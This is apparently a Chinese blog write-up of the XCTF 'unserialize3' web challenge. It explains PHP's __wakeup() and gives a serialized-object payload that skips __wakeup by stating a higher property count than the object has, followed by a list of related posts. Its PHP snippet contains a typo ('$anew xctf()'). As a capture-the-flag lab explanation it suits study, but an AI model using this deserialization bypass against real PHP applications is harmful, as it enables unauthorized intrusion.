• 攻防世界-web-unserialize3


    考点:序列化和_wakeup()函数的绕过

    进入环境以后发现了源码

    这里的意思是通过get方法上传一个code值,使得这个code值可以跳过_wakeup()函数(如果进入_wakeup()那么就运行exit了)

    当序列化(serialize)对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。因此需要用serialize来绕过wakeup()函数。

    构造payload,创建一个xctf类并对其进行序列化

    <?php
       class xctf{
       public $flag = '111';
       public function __wakeup(){
       exit('bad requests');
       }
       }
       $anew xctf();
       print(serialize($a));
       ?>

    运行得到O:4:"xctf":1:{s:4:"flag";s:3:"111";}
    __wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

    所以用?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}传入参数得到结果

     

  • 相关阅读:
    课下作业--微软拼音输入法评价
    课堂练习--找水王
    第十四周总结
    第一阶段意见评论
    第十三周总结
    梦断代码阅读笔记03
    第十二周总结
    用户模板与用户场景
    2020年寒假假期总结0205
    2020年寒假假期总结0204
  • 原文地址:https://www.cnblogs.com/Eterna1ly/p/12340585.html
Copyright © 2020-2023  润新知